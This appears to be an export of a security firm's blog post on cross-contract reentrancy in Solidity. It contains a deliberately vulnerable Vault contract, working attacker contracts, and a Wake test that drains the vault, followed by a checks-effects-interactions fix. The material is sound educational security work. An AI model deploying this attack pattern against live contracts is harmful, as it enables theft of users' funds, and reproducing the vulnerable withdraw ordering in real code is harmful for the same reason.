{"id":751,"date":"2024-07-11T15:45:42","date_gmt":"2024-07-11T13:45:42","guid":{"rendered":"https:\/\/ackee.xyz\/blog\/?p=751"},"modified":"2025-02-10T17:53:47","modified_gmt":"2025-02-10T15:53:47","slug":"cross-contract-reentrancy-attack","status":"publish","type":"post","link":"https:\/\/ackee.xyz\/blog\/cross-contract-reentrancy-attack\/","title":{"rendered":"Cross Contract Reentrancy Attack"},"content":{"rendered":"

This research article reviews how cross contract reentrancy attacks work, an attack example, and guidance on how to prevent cross contract reentrancy attacks.<\/p>\n

Previously, we covered single function reentrancy attacks<\/a> and cross function reentrancy attacks<\/a>. Those previous vulnerabilities were trivial to find since we need only check that updating the value with an external call should not use a different value or update that value.<\/p>\n

What is a cross contract reentrancy attack?<\/h2>\n

Cross contract reentrancy attacks use different smart contracts to exploit a vulnerability. The code in cross contract reentrancy attacks is more complex since it uses different contracts, and thus, we should search how value is updated in those contracts. Moreover, ReentrancyGuard can not prevent these types of attacks.<\/p>\n

Cross contract reentrancy attack example<\/h2>\n

This is an example contract of vulnerable to the cross contract reentrancy.<\/p>\n

There is a\u00a0CCRToken<\/code>\u00a0contract and a\u00a0Vault<\/code>\u00a0contract. CCRToken is a custom token of ERC20. and Vault does swapping between\u00a0ETH<\/code>\u00a0and\u00a0CCRToken<\/code>.\u00a0Vault<\/code>\u00a0stores\u00a0ETH<\/code>.<\/p>\n

As you can see in the\u00a0Vault<\/code> contract all of the functions that the user callable function has\u00a0nonReentrancy<\/code>.<\/p>\n

So it is unable to do single function reentrancy. Also, there is no transfer<\/code>\u00a0function for the cross function reentrancy in the\u00a0Vault<\/code> contract. However similar to the transfer<\/code> function is located at the CCRToken<\/code>\u00a0contract.<\/p>\n

This is the token contract.<\/p>\n

\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol";\nimport "@openzeppelin\/contracts\/access\/Ownable.sol";\n\ncontract CCRToken is ERC20, Ownable {\n\n    \/\/ (manager i.e. victim) is trusted, so only they can mint and burn token\n    constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}\n\n    \/\/ Only manager mint token \n    function mint(address to, uint256 amount) external onlyOwner {\n        _mint(to, amount);\n    }\n    \/\/ Burn token\n    function burn(address from, uint256 amount) external onlyOwner {\n        _burn(from, amount);\n    }\n}<\/code><\/pre>\n
This is the vulnerable vault contract.<\/p>\n
\/\/ SPDX-License-Identifier: MIT\n\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\nimport "@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol";\nimport "@openzeppelin\/contracts\/access\/Ownable.sol";\nimport ".\/token.sol";\n\n\ncontract Vault is ReentrancyGuard, Ownable {\n    CCRToken public customToken;\n\n    constructor() Ownable(msg.sender) {}\n\n    function setToken(address _customToken) external onlyOwner {\n        customToken = CCRToken(_customToken);\n    }   \n\n    function deposit() external payable nonReentrant {\n        customToken.mint(msg.sender, msg.value); \/\/eth to CCRT\n    }\n\n    function burnUser() internal {\n        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));\n    }\n\n    \/**\n    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.\n    * it uses other contracts and it has different features from just variables.\n    *\/\n    function  withdraw() external nonReentrant {\n        uint256 balance = customToken.balanceOf(msg.sender);\n        require(balance > 0, "Insufficient balance");\n        (bool success, ) = msg.sender.call{value: balance}(""); \n        \/\/ attacker calls transfer CCRT balance to another account in the callback function.\n        require(success, "Failed to send Ether"); \n\n        burnUser();\n    }\n}<\/code><\/pre>\n
The idea of attack is similar to the cross function reentrancy attack. The attacker does withdraw and it has an external function call, and here, even if all external functions in this contract have non-reentrant, we can call the transfer<\/code>\u00a0function, since it is in the\u00a0CCRToken<\/code>\u00a0contract.<\/p>\n
Example attack steps<\/h2>\n
The attack is done in the attack<\/code>\u00a0function. After calling the\u00a0attack<\/code>\u00a0function.<\/p>\n
    \n
  1. call the\u00a0deposit<\/code> in the Vault contract to prepare for the attack.<\/li>\n
  2. call the\u00a0withdraw<\/code> in the Vault contract, it calls an external call to the attacker, and it calls the\u00a0receive<\/code>\u00a0function.<\/li>\n
  3. In the\u00a0receive<\/code>\u00a0function, the attacker calls\u00a0transfer<\/code>\u00a0in the Token contract and transfers the ERC20 value to the\u00a0Attacker2<\/code>.<\/li>\n
  4. So now, the sum of the amount that\u00a0Attacker<\/code>\u00a0balance and\u00a0Attacker2<\/code>\u00a0in Token are multiple.<\/li>\n
  5. call\u00a0attacker2.send<\/code>\u00a0to send the Token value from\u00a0Attacker2<\/code>\u00a0to Attacker<\/li>\n<\/ol>\n
    And we can repeat those steps until drain the vault.<\/p>\n
    Attacker Contract<\/h3>\n
    This is the attack contract.<\/p>\n
    \/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport ".\/vault.sol";\n\n\ncontract Attacker1 {\n    Vault victim;\n    CCRToken ccrt;\n    Attacker2 attacker2;\n    uint256 amount = 1 ether;\n\n    \/**\n     * @param _victim victim address\n     * @param _ccrt  victim token ERC20 address\n     *\/ \n    constructor(address _victim, address _ccrt) payable {\n        victim = Vault(_victim);\n        ccrt = CCRToken(_ccrt);  \n    }\n\n    \/**\n     * @notice Set attacker2 contract\n     * @param _attacker2  attacker colleague address\n     *\/\n    function setattacker2(address _attacker2) public {\n        attacker2 = Attacker2(_attacker2);\n    }\n\n    \/**\n     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. \n     * Because burn balance of attacker1 after this function.\n     * @dev triggered by victim.withdraw()\n     *\/\n    receive() external payable {\n        ccrt.transfer(address(attacker2), msg.value); \n    }\n\n    \/**\n     * @notice deposit and we can repeatedly withdraw.\n     *\/\n    function attack() public {\n        uint256 value = address(this).balance;\n        victim.deposit{value: value}();\n        while(address(victim).balance >= amount){\n            victim.withdraw();\n            attacker2.send(address(this), value); \/\/send ERC20 token that multiplied at recieve().\n        }    \n    }\n}\n\n\ncontract Attacker2 {\n    Vault victim;\n    CCRToken ccrt;\n    uint256 amount = 1 ether;\n\n    constructor(address _victim, address _ccrt) {\n        victim = Vault(_victim);\n        ccrt = CCRToken(_ccrt);\n    }\n\n    \/**\n     * @notice Just send ERC20 to the attacker\n     *\/\n    function send(address _target, uint256 _amount) public {\n        ccrt.transfer(_target, _amount);\n    }\n}<\/code><\/pre>\n
    Exploit example of a cross-contract reentrancy attack<\/h3>\n
    It went more complex than the previous example but those are for the deployment of contracts and the most important step is in the attack function call.<\/p>\n
    It does deploy vault and token and set those addresses.<\/p>\n
    Similarly, initialize attackers. and call the attack<\/code>\u00a0function in the attacker.<\/p>\n
    from wake.testing import *\n\nfrom pytypes.contracts.crosscontractreentrancy.token import  CCRToken\nfrom pytypes.contracts.crosscontractreentrancy.vault import Vault\n\nfrom pytypes.contracts.crosscontractreentrancy.attacker import Attacker1\nfrom pytypes.contracts.crosscontractreentrancy.attacker import Attacker2\n\n@default_chain.connect()\ndef test_default():\n    print("---------------------Cross Contract Reentrancy---------------------")\n    victim = default_chain.accounts[0]\n    attacker = default_chain.accounts[1]\n    \n    vault = Vault.deploy(from_=victim)\n    token = CCRToken.deploy( vault.address ,from_=victim)\n    vault.setToken(token.address)\n    vault.deposit(from_=victim, value="4 ether")\n\n    attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")\n    attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)\n\n    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)\n    print("Vault balance  : ", vault.balance)\n    print("Attacker balace: ", attacker_contract.balance)\n    print("----------Attack----------")\n\n    tx = attacker_contract.attack(from_=attacker)\n    print(tx.call_trace)\n\n    print("Vault balance   : ", vault.balance)\n    print("Attacker balance: ", attacker_contract.balance)<\/code><\/pre>\n
    This is the output of wake<\/a>. We can see the Vault balance changed from 4 EHT to 0 ETH. Attacker balance changed 1 ETH to 5 ETH.<\/p>\n
    \"\"<\/pre>\n
    How to prevent a cross-contract reentrancy attack<\/h2>\n
    ReentrancyGuard<\/h3>\n
    The simple reentrancy guard can not prevent this attack.<\/p>\n
    CEI (checks-effects-interactions)<\/h3>\n
    This is a straightforward solution as it eliminates the possibility of a reentrancy attack. This is the best way to prevent reentrancy attacks.<\/p>\n
    \/\/ SPDX-License-Identifier: MIT\n\npragma solidity 0.8.20;\n\nimport "@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol";\nimport "@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol";\nimport "@openzeppelin\/contracts\/access\/Ownable.sol";\nimport ".\/token.sol";\n\n\ncontract Vault is ReentrancyGuard, Ownable {\n    CCRToken public customToken;\n\n    constructor() Ownable(msg.sender) {}\n\n    function setToken(address _customToken) external onlyOwner {\n        customToken = CCRToken(_customToken);\n    }   \n\n    function deposit() external payable nonReentrant {\n        customToken.mint(msg.sender, msg.value); \/\/eth to CCRT\n    }\n\n    function burnUser() internal {\n        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));\n    }\n\n    \/**\n    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.\n    * it uses other contracts and it has different features from just variables.\n    *\/\n    function  withdraw() external nonReentrant {\n        uint256 balance = customToken.balanceOf(msg.sender);\n        require(balance > 0, "Insufficient balance");\n        burnUser();\n        (bool success, ) = msg.sender.call{value: balance}(""); \n        require(success, "Failed to send Ether"); \n    }\n}<\/code><\/pre>\n
    Conclusion<\/h2>\n
    The main issue of cross-contract reentrancy is the ReentrancyGuard does not work. However, the issue is always the same where it should not use data that is in the middle of the function. If there are multiple contracts, the entrance state is stored differently. If it removed this issue then the attack would stop.<\/p>\n
    We have a Reentrancy Examples Github Repository<\/a> with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods.
    \n<\/span><\/p>\n